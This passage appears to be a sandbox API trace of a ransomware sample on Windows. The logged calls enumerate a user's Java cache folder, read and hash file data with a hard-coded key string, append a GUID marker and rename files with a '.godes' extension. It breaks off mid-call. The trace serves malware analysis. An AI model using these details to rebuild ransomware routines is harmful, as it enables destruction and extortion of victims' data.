RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321728 [0115.099] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321690 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321728 | out: hHeap=0x660000) returned 1 [0115.099] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.099] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0115.099] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33215f8 | out: hHeap=0x660000) returned 1 [0115.100] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33215f8 [0115.100] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.100] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.100] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.101] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.101] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.102] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.102] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.103] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.103] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.104] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.104] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.104] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.104] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.104] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0115.104] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0115.104] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0115.104] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0115.104] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.104] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.104] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.104] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.104] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.104] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.104] PathFindFileNameW (pszPath="") returned="" [0115.104] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.105] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321430 | out: hHeap=0x660000) returned 1 [0115.105] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.105] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0115.105] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0115.105] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.107] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=25340970) returned 1 [0115.107] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.109] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.109] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.111] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x25805, lpOverlapped=0x0) returned 1 [0115.113] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.113] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.113] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.113] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.113] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.113] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.114] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.114] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.114] GetLastError () returned 0x0 [0115.114] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.114] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.114] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.115] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.115] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.115] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.115] CloseHandle (hObject=0x624) returned 1 [0115.459] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.godes")) returned 1 [0115.459] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.460] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0115.461] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0115.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.462] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=906752) returned 1 [0115.462] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.464] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.464] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.465] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.465] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x25805, lpOverlapped=0x0) returned 1 [0115.467] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.467] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.467] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.467] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.468] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.468] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.468] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.468] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.468] GetLastError () returned 0x0 [0115.468] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.468] CryptReleaseContext (hProv=0x740f38, 